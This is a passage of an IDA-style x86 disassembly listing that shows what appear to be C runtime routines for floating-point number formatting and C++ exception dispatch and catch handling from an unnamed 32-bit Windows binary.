		mov	byte ptr [ebp+0], 2Dh
		lea	edi, [ebp+1]


loc_421B56:				; CODE XREF: sub_421ADD+70j
		mov	eax, [esi+4]
		test	eax, eax
		jg	short loc_421B6D
		push	1
		push	edi
		call	sub_421CF1
		pop	ecx
		mov	byte ptr [edi],	30h
		pop	ecx
		inc	edi
		jmp	short loc_421B6F
; ---------------------------------------------------------------------------


loc_421B6D:				; CODE XREF: sub_421ADD+7Ej
		add	edi, eax


loc_421B6F:				; CODE XREF: sub_421ADD+8Ej
		test	ebx, ebx
		jle	short loc_421BB4
		push	1
		push	edi
		call	sub_421CF1
		mov	al, byte_43C508
		pop	ecx
		mov	[edi], al
		mov	esi, [esi+4]
		inc	edi
		pop	ecx
		test	esi, esi
		jge	short loc_421BB4
		cmp	byte_4DB310, 0
		jz	short loc_421B99
		neg	esi
		jmp	short loc_421B9F
; ---------------------------------------------------------------------------


loc_421B99:				; CODE XREF: sub_421ADD+B6j
		neg	esi
		cmp	ebx, esi
		jl	short loc_421BA1


loc_421B9F:				; CODE XREF: sub_421ADD+BAj
		mov	ebx, esi


loc_421BA1:				; CODE XREF: sub_421ADD+C0j
		push	ebx
		push	edi
		call	sub_421CF1
		push	ebx
		push	30h
		push	edi
		call	sub_41B590
		add	esp, 14h


loc_421BB4:				; CODE XREF: sub_421ADD+94j
					; sub_421ADD+ADj
		pop	edi
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_421ADD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421BBB	proc near		; CODE XREF: sub_421CA0+34p

var_14		= qword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		push	ecx
		push	ecx
		fld	qword ptr [edi]
		fstp	[esp+14h+var_14]
		call	sub_4245E9
		mov	dword_4DB30C, eax
		mov	ecx, [eax+4]
		dec	ecx
		mov	ebx, [ebp+arg_8]
		mov	dword_4DB314, ecx
		xor	ecx, ecx
		cmp	dword ptr [eax], 2Dh
		push	eax
		push	ebx
		setz	cl
		add	ecx, [ebp+arg_4]
		mov	esi, ecx
		push	esi
		call	sub_424572
		mov	eax, dword_4DB30C
		add	esp, 14h
		mov	ecx, [eax+4]
		dec	ecx
		cmp	dword_4DB314, ecx
		setl	cl
		mov	byte_4DB318, cl
		mov	eax, [eax+4]
		dec	eax
		cmp	eax, 0FFFFFFFCh
		mov	dword_4DB314, eax
		jl	short loc_421C41
		cmp	eax, ebx
		jge	short loc_421C41
		test	cl, cl
		jz	short loc_421C32


loc_421C28:				; CODE XREF: sub_421BBB+72j
		mov	al, [esi]
		inc	esi
		test	al, al
		jnz	short loc_421C28
		and	[esi-2], al


loc_421C32:				; CODE XREF: sub_421BBB+6Bj
		push	ebx
		push	[ebp+arg_4]
		push	edi
		call	sub_421C7D
		add	esp, 0Ch
		jmp	short loc_421C51
; ---------------------------------------------------------------------------


loc_421C41:				; CODE XREF: sub_421BBB+63j
					; sub_421BBB+67j
		push	[ebp+arg_C]
		push	ebx
		push	[ebp+arg_4]
		push	edi
		call	sub_421C56
		add	esp, 10h


loc_421C51:				; CODE XREF: sub_421BBB+84j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_421BBB	endp


; =============== S U B	R O U T	I N E =======================================



sub_421C56	proc near		; CODE XREF: sub_421BBB+8Ep

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	[esp+arg_C]
		mov	byte_4DB310, 1
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_4219D9
		and	byte_4DB310, 0
		add	esp, 10h
		retn
sub_421C56	endp


; =============== S U B	R O U T	I N E =======================================



sub_421C7D	proc near		; CODE XREF: sub_421BBB+7Cp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	[esp+arg_8]
		mov	byte_4DB310, 1
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_421ADD
		and	byte_4DB310, 0
		add	esp, 0Ch
		retn
sub_421C7D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421CA0	proc near		; CODE XREF: sub_41F69F+3AAp
					; DATA XREF: sub_41C760o ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_8], 65h
		jz	short loc_421CDB
		cmp	[ebp+arg_8], 45h
		jz	short loc_421CDB
		cmp	[ebp+arg_8], 66h
		jnz	short loc_421CC8
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_421ADD
		add	esp, 0Ch
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_421CC8:				; CODE XREF: sub_421CA0+13j
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_421BBB
		jmp	short loc_421CEC
; ---------------------------------------------------------------------------


loc_421CDB:				; CODE XREF: sub_421CA0+7j
					; sub_421CA0+Dj
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4219D9


loc_421CEC:				; CODE XREF: sub_421CA0+39j
		add	esp, 10h
		pop	ebp
		retn
sub_421CA0	endp


; =============== S U B	R O U T	I N E =======================================



sub_421CF1	proc near		; CODE XREF: sub_4219D9+2Cp
					; sub_421ADD+83p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	edi
		mov	edi, [esp+4+arg_4]
		test	edi, edi
		jz	short loc_421D14
		push	esi
		mov	esi, [esp+8+arg_0]
		push	esi
		call	sub_41AFE0
		inc	eax
		push	eax
		push	esi
		add	esi, edi
		push	esi
		call	sub_41CC90
		add	esp, 10h
		pop	esi


loc_421D14:				; CODE XREF: sub_421CF1+7j
		pop	edi
		retn
sub_421CF1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421D16	proc near		; CODE XREF: ___:0041C940p
					; sub_41C9A9+1Bp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_10]
		push	edi
		mov	edi, 19930520h
		cmp	[esi], edi
		jz	short loc_421D2C
		call	sub_4225B2


loc_421D2C:				; CODE XREF: sub_421D16+Fj
		mov	eax, [ebp+arg_0]
		test	byte ptr [eax+4], 66h
		jz	short loc_421D54
		cmp	dword ptr [esi+4], 0
		jz	short loc_421DAA
		cmp	[ebp+arg_14], 0
		jnz	short loc_421DAA
		push	0FFFFFFFFh
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		call	sub_42205D
		add	esp, 10h
		jmp	short loc_421DAA
; ---------------------------------------------------------------------------


loc_421D54:				; CODE XREF: sub_421D16+1Dj
		cmp	dword ptr [esi+0Ch], 0
		jz	short loc_421DAA
		cmp	dword ptr [eax], 0E06D7363h
		jnz	short loc_421D8E
		cmp	[eax+14h], edi
		jbe	short loc_421D8E
		mov	ecx, [eax+1Ch]
		mov	ecx, [ecx+8]
		test	ecx, ecx
		jz	short loc_421D8E
		movzx	edx, byte ptr [ebp+arg_1C]
		push	edx
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	eax
		call	ecx
		add	esp, 20h
		jmp	short loc_421DAD
; ---------------------------------------------------------------------------


loc_421D8E:				; CODE XREF: sub_421D16+4Aj
					; sub_421D16+4Fj ...
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	[ebp+arg_1C]
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	eax
		call	sub_421DB1
		add	esp, 20h


loc_421DAA:				; CODE XREF: sub_421D16+23j
					; sub_421D16+29j ...
		push	1
		pop	eax


loc_421DAD:				; CODE XREF: sub_421D16+76j
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_421D16	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421DB1	proc near		; CODE XREF: sub_421D16+8Cp

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= byte ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	eax, [ebp+arg_4]
		and	byte ptr [ebp+var_14], 0
		mov	eax, [eax+8]
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_10], eax
		jl	short loc_421DD1
		mov	ecx, [ebp+arg_10]
		cmp	eax, [ecx+4]
		jl	short loc_421DD6


loc_421DD1:				; CODE XREF: sub_421DB1+16j
		call	sub_4225B2


loc_421DD6:				; CODE XREF: sub_421DB1+1Ej
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		mov	ebx, 0E06D7363h
		push	edi
		mov	edi, 19930520h
		cmp	[esi], ebx
		jnz	loc_421F2D
		cmp	dword ptr [esi+10h], 3
		jnz	short loc_421E4A
		cmp	[esi+14h], edi
		jnz	short loc_421E4A
		cmp	dword ptr [esi+1Ch], 0
		jnz	short loc_421E4A
		mov	esi, dword_4DB31C
		test	esi, esi
		jz	loc_421F28
		mov	eax, dword_4DB320
		push	1
		push	esi
		mov	[ebp+arg_8], eax
		mov	byte ptr [ebp+var_14], 1
		call	sub_424770
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_421E2C
		call	sub_4225B2


loc_421E2C:				; CODE XREF: sub_421DB1+74j
		cmp	[esi], ebx
		jnz	loc_421F2D
		cmp	dword ptr [esi+10h], 3
		jnz	short loc_421E4A
		cmp	[esi+14h], edi
		jnz	short loc_421E4A
		cmp	dword ptr [esi+1Ch], 0
		jnz	short loc_421E4A
		call	sub_4225B2


loc_421E4A:				; CODE XREF: sub_421DB1+41j
					; sub_421DB1+46j ...
		cmp	[esi], ebx
		jnz	loc_421F2D
		cmp	dword ptr [esi+10h], 3
		jnz	loc_421F2D
		cmp	[esi+14h], edi
		jnz	loc_421F2D
		mov	edi, [ebp+var_10]
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	edi
		push	[ebp+arg_18]
		push	[ebp+arg_10]
		call	sub_41CAF7
		add	esp, 14h
		mov	ebx, eax


loc_421E81:				; CODE XREF: sub_421DB1+162j
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_18]
		jnb	loc_421F18
		cmp	[ebx], edi
		jg	short loc_421F0D
		cmp	edi, [ebx+4]
		jg	short loc_421F0D
		mov	eax, [ebx+10h]
		mov	[ebp+arg_0], eax
		mov	eax, [ebx+0Ch]
		test	eax, eax
		mov	[ebp+var_C], eax
		jle	short loc_421F0A


loc_421EA6:				; CODE XREF: sub_421DB1+131j
		mov	eax, [esi+1Ch]
		mov	eax, [eax+0Ch]
		lea	edi, [eax+4]
		mov	eax, [eax]
		test	eax, eax
		mov	[ebp+var_8], eax
		jle	short loc_421ED7


loc_421EB8:				; CODE XREF: sub_421DB1+124j
		push	dword ptr [esi+1Ch]
		push	dword ptr [edi]
		push	[ebp+arg_0]
		call	sub_422000
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_421EE6
		dec	[ebp+var_8]
		add	edi, 4
		cmp	[ebp+var_8], eax
		jg	short loc_421EB8


loc_421ED7:				; CODE XREF: sub_421DB1+105j
		dec	[ebp+var_C]
		add	[ebp+arg_0], 10h
		cmp	[ebp+var_C], 0
		jg	short loc_421EA6
		jmp	short loc_421F0A
; ---------------------------------------------------------------------------


loc_421EE6:				; CODE XREF: sub_421DB1+119j
		push	[ebp+var_14]
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	ebx
		push	dword ptr [edi]
		push	[ebp+arg_0]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	sub_422111
; ---------------------------------------------------------------------------
		add	esp, 2Ch


loc_421F0A:				; CODE XREF: sub_421DB1+F3j
					; sub_421DB1+133j
		mov	edi, [ebp+var_10]


loc_421F0D:				; CODE XREF: sub_421DB1+DEj
					; sub_421DB1+E3j
		inc	[ebp+var_4]
		add	ebx, 14h
		jmp	loc_421E81
; ---------------------------------------------------------------------------


loc_421F18:				; CODE XREF: sub_421DB1+D6j
		cmp	[ebp+arg_14], 0
		jz	short loc_421F28
		push	1
		push	esi
		call	sub_422486
		pop	ecx
		pop	ecx


loc_421F28:				; CODE XREF: sub_421DB1+56j
					; sub_421DB1+16Bj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_421F2D:				; CODE XREF: sub_421DB1+37j
					; sub_421DB1+7Dj ...
		cmp	[ebp+arg_14], 0
		jnz	short loc_421F53
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	[ebp+var_10]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	sub_421F58
		add	esp, 20h
		jmp	short loc_421F28
; ---------------------------------------------------------------------------


loc_421F53:				; CODE XREF: sub_421DB1+180j
		jmp	sub_42255C
sub_421DB1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421F58	proc near		; CODE XREF: sub_421DB1+198p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	dword_4DB324, 0
		push	esi
		push	edi
		jz	short loc_421F89
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41C9CE
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_421FFC


loc_421F89:				; CODE XREF: sub_421F58+Ej
		mov	edi, [ebp+arg_14]
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	edi
		push	[ebp+arg_18]
		push	[ebp+arg_10]
		call	sub_41CAF7
		add	esp, 14h
		mov	esi, eax


loc_421FA5:				; CODE XREF: sub_421F58+A2j
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_8]
		jnb	short loc_421FFC
		cmp	edi, [esi]
		jl	short loc_421FF4
		cmp	edi, [esi+4]
		jg	short loc_421FF4
		mov	eax, [esi+0Ch]
		mov	ecx, [esi+10h]
		shl	eax, 4
		add	eax, ecx
		mov	ecx, [eax-0Ch]
		test	ecx, ecx
		jz	short loc_421FCE
		cmp	byte ptr [ecx+8], 0
		jnz	short loc_421FF4


loc_421FCE:				; CODE XREF: sub_421F58+6Ej
		push	1
		add	eax, 0FFFFFFF0h
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	esi
		push	0
		push	eax
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_422111
; ---------------------------------------------------------------------------
		add	esp, 2Ch


loc_421FF4:				; CODE XREF: sub_421F58+57j
					; sub_421F58+5Cj ...
		inc	[ebp+var_4]
		add	esi, 14h
		jmp	short loc_421FA5
; ---------------------------------------------------------------------------


loc_421FFC:				; CODE XREF: sub_421F58+2Fj
					; sub_421F58+53j
		pop	edi
		pop	esi
		leave
		retn
sub_421F58	endp


; =============== S U B	R O U T	I N E =======================================



sub_422000	proc near		; CODE XREF: sub_421DB1+10Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	eax, [edi+4]
		test	eax, eax
		jz	short loc_422057
		cmp	byte ptr [eax+8], 0
		lea	edx, [eax+8]
		jz	short loc_422057
		mov	esi, [esp+8+arg_4]
		mov	ecx, [esi+4]
		cmp	eax, ecx
		jz	short loc_422031
		add	ecx, 8
		push	ecx
		push	edx
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_422053


loc_422031:				; CODE XREF: sub_422000+1Fj
		test	byte ptr [esi],	2
		jz	short loc_42203B
		test	byte ptr [edi],	8
		jz	short loc_422053


loc_42203B:				; CODE XREF: sub_422000+34j
		mov	eax, [esp+8+arg_8]
		mov	eax, [eax]
		test	al, 1
		jz	short loc_42204A
		test	byte ptr [edi],	1
		jz	short loc_422053


loc_42204A:				; CODE XREF: sub_422000+43j
		test	al, 2
		jz	short loc_422057
		test	byte ptr [edi],	2
		jnz	short loc_422057


loc_422053:				; CODE XREF: sub_422000+2Fj
					; sub_422000+39j ...
		xor	eax, eax
		jmp	short loc_42205A
; ---------------------------------------------------------------------------


loc_422057:				; CODE XREF: sub_422000+Bj
					; sub_422000+14j ...
		push	1
		pop	eax


loc_42205A:				; CODE XREF: sub_422000+55j
		pop	edi
		pop	esi
		retn
sub_422000	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42205D	proc near		; CODE XREF: sub_421D16+34p
					; ___:00422153p

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4278C8
		push	offset sub_4234B8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	ebx, [ebp+arg_0]
		mov	esi, [ebx+8]
		mov	[ebp+var_1C], esi
		mov	edi, [ebp+arg_8]


loc_42208F:				; CODE XREF: sub_42205D+8Aj
		cmp	esi, [ebp+arg_C]
		jz	short loc_4220E9
		cmp	esi, 0FFFFFFFFh
		jle	short loc_42209E
		cmp	esi, [edi+4]
		jl	short loc_4220A3


loc_42209E:				; CODE XREF: sub_42205D+3Aj
		call	sub_4225B2


loc_4220A3:				; CODE XREF: sub_42205D+3Fj
		and	[ebp+var_4], 0
		mov	eax, [edi+8]
		mov	eax, [eax+esi*8+4]
		test	eax, eax
		jz	short loc_4220BE
		push	103h
		push	ebx
		push	eax
		call	sub_422510


loc_4220BE:				; CODE XREF: sub_42205D+53j
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_4220DE
; ---------------------------------------------------------------------------
		push	[ebp+var_14]
		call	sub_4220FB
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		or	[ebp+var_4], 0FFFFFFFFh
		mov	edi, [ebp+arg_8]
		mov	ebx, [ebp+arg_0]
		mov	esi, [ebp+var_1C]


loc_4220DE:				; CODE XREF: sub_42205D+65j
		mov	eax, [edi+8]
		mov	esi, [eax+esi*8]
		mov	[ebp+var_1C], esi
		jmp	short loc_42208F
; ---------------------------------------------------------------------------


loc_4220E9:				; CODE XREF: sub_42205D+35j
		mov	[ebx+8], esi
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_42205D	endp


; =============== S U B	R O U T	I N E =======================================



sub_4220FB	proc near		; CODE XREF: sub_42205D+6Ap

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	eax, [eax]
		cmp	dword ptr [eax], 0E06D7363h
		jz	short loc_42210C
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_42210C:				; CODE XREF: sub_4220FB+Cj
		jmp	sub_42255C
sub_4220FB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_422111	proc near		; CODE XREF: sub_421DB1+151p
					; sub_421F58+94p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_24		= dword	ptr  2Ch

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_18], 0
		push	ebx
		mov	ebx, [ebp+arg_14]
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		jz	short loc_422133
		push	[ebp+arg_18]
		push	ebx
		push	edi
		push	[ebp+arg_0]
		call	sub_4222C2
		add	esp, 10h


loc_422133:				; CODE XREF: sub_422111+10j
		cmp	[ebp+arg_24], 0
		push	[ebp+arg_0]
		jnz	short loc_42213F
		push	edi
		jmp	short loc_422142
; ---------------------------------------------------------------------------


loc_42213F:				; CODE XREF: sub_422111+29j
		push	[ebp+arg_24]


loc_422142:				; CODE XREF: sub_422111+2Cj
		call	sub_41C8D0
sub_422111	endp

; ---------------------------------------------------------------------------
		mov	esi, [ebp+24h]
		push	dword ptr [esi]
		push	dword ptr [ebp+18h]
		push	dword ptr [ebp+14h]
		push	edi
		call	sub_42205D
		mov	eax, [esi+4]
		push	100h
		push	dword ptr [ebp+28h]
		inc	eax
		mov	[edi+8], eax
		push	dword ptr [ebx+0Ch]
		push	dword ptr [ebp+18h]
		push	dword ptr [ebp+10h]
		push	edi
		push	dword ptr [ebp+8]
		call	sub_42218C
		add	esp, 2Ch
		test	eax, eax
		jz	short loc_422187
		push	edi
		push	eax
		call	sub_41C88E


loc_422187:				; CODE XREF: ___:0042217Ej
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42218C	proc near		; CODE XREF: ___:00422174p

var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4278D8
		push	offset sub_4234B8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, [ebp+arg_10]
		mov	[ebp+var_2C], eax
		xor	ebx, ebx
		mov	[ebp+var_24], ebx
		mov	esi, [ebp+arg_4]
		mov	ecx, [esi-4]
		mov	[ebp+var_28], ecx
		mov	ecx, dword_4DB31C
		mov	[ebp+var_1C], ecx
		mov	ecx, dword_4DB320
		mov	[ebp+var_20], ecx
		mov	edi, [ebp+arg_0]
		mov	dword_4DB31C, edi
		mov	ecx, [ebp+arg_8]
		mov	dword_4DB320, ecx
		mov	[ebp+var_4], ebx
		mov	[ebp+var_4], 1
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	eax
		push	[ebp+arg_C]
		push	esi
		call	sub_41C955
		add	esp, 14h
		mov	[ebp+var_2C], eax
		mov	[ebp+var_4], ebx
		or	[ebp+var_4], 0FFFFFFFFh
		call	sub_422252
		mov	eax, [ebp+var_2C]


loc_422219:				; CODE XREF: sub_422232+16j
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_42218C	endp


; =============== S U B	R O U T	I N E =======================================



sub_422228	proc near		; DATA XREF: ___:004278E8o
		push	dword ptr [ebp-14h]
		call	sub_422298
		pop	ecx
		retn
sub_422228	endp


; =============== S U B	R O U T	I N E =======================================



sub_422232	proc near		; DATA XREF: ___:004278ECo
		mov	esp, [ebp-18h]
		and	dword ptr [ebp-2Ch], 0
		push	0FFFFFFFFh
		lea	eax, [ebp-10h]
		push	eax
		call	sub_41CBB6
		pop	ecx
		pop	ecx
		xor	eax, eax
		jmp	short loc_422219
sub_422232	endp

; ---------------------------------------------------------------------------


loc_42224A:				; DATA XREF: ___:004278E0o
		xor	ebx, ebx
		mov	esi, [ebp+0Ch]
		mov	edi, [ebp+8]

; =============== S U B	R O U T	I N E =======================================



sub_422252	proc near		; CODE XREF: sub_42218C+85p
		mov	eax, [ebp-28h]
		mov	[esi-4], eax
		mov	eax, [ebp-1Ch]
		mov	dword_4DB31C, eax
		mov	eax, [ebp-20h]
		mov	dword_4DB320, eax
		cmp	dword ptr [edi], 0E06D7363h
		jnz	short locret_422297
		cmp	dword ptr [edi+10h], 3
		jnz	short locret_422297
		cmp	dword ptr [edi+14h], 19930520h
		jnz	short locret_422297
		cmp	[ebp-24h], ebx
		jnz	short locret_422297
		cmp	[ebp-2Ch], ebx
		jz	short locret_422297
		call	sub_41CC1E
		push	eax
		push	edi
		call	sub_422486
		pop	ecx
		pop	ecx

locret_422297:				; CODE XREF: sub_422252+1Cj
					; sub_422252+22j ...
		retn
sub_422252	endp


; =============== S U B	R O U T	I N E =======================================



sub_422298	proc near		; CODE XREF: sub_422228+3p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	eax, [eax]
		cmp	dword ptr [eax], 0E06D7363h
		jnz	short loc_4222BF
		cmp	dword ptr [eax+10h], 3
		jnz	short loc_4222BF
		cmp	dword ptr [eax+14h], 19930520h
		jnz	short loc_4222BF
		cmp	dword ptr [eax+1Ch], 0
		jnz	short loc_4222BF
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_4222BF:				; CODE XREF: sub_422298+Cj
					; sub_422298+12j ...
		xor	eax, eax
		retn
sub_422298	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4222C2	proc near		; CODE XREF: sub_422111+1Ap

var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4278F0
		push	offset sub_4234B8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	ecx, [ebp+arg_8]
		mov	eax, [ecx+4]
		test	eax, eax
		jz	loc_42246B
		cmp	byte ptr [eax+8], 0
		jz	loc_42246B
		mov	eax, [ecx+8]
		test	eax, eax
		jz	loc_42246B
		mov	edx, [ebp+arg_4]
		lea	edi, [eax+edx+0Ch]
		and	[ebp+var_4], 0
		test	byte ptr [ecx],	8
		jz	short loc_42235F
		mov	esi, [ebp+arg_0]
		push	1
		push	dword ptr [esi+18h]
		call	sub_424770
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_422462
		push	1
		push	edi
		call	sub_42478C
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_422462
		mov	eax, [esi+18h]
		mov	[edi], eax
		mov	ecx, [ebp+arg_C]
		add	ecx, 8
		push	ecx


loc_422350:				; CODE XREF: sub_4222C2+F5j
		push	eax
		call	sub_4224ED
		pop	ecx
		pop	ecx
		mov	[edi], eax
		jmp	loc_422467
; ---------------------------------------------------------------------------


loc_42235F:				; CODE XREF: sub_4222C2+57j
		mov	esi, [ebp+arg_C]
		test	byte ptr [esi],	1
		jz	short loc_4223B9
		mov	ebx, [ebp+arg_0]
		push	1
		push	dword ptr [ebx+18h]
		call	sub_424770
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_422462
		push	1
		push	edi
		call	sub_42478C
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_422462
		push	dword ptr [esi+14h]
		push	dword ptr [ebx+18h]
		push	edi
		call	sub_41CC90
		add	esp, 0Ch
		cmp	dword ptr [esi+14h], 4
		jnz	loc_422467
		mov	eax, [edi]
		test	eax, eax
		jz	loc_422467
		add	esi, 8
		push	esi
		jmp	short loc_422350
; ---------------------------------------------------------------------------


loc_4223B9:				; CODE XREF: sub_4222C2+A3j
		cmp	dword ptr [esi+18h], 0
		mov	ebx, [ebp+arg_0]
		push	1
		push	dword ptr [ebx+18h]
		jnz	short loc_422401
		call	sub_424770
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_422462
		push	1
		push	edi
		call	sub_42478C
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_422462
		push	dword ptr [esi+14h]
		add	esi, 8
		push	esi
		push	dword ptr [ebx+18h]
		call	sub_4224ED
		pop	ecx
		pop	ecx
		push	eax
		push	edi
		call	sub_41CC90
		add	esp, 0Ch
		jmp	short loc_422467
; ---------------------------------------------------------------------------


loc_422401:				; CODE XREF: sub_4222C2+103j
		call	sub_424770
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_422462
		push	1
		push	edi
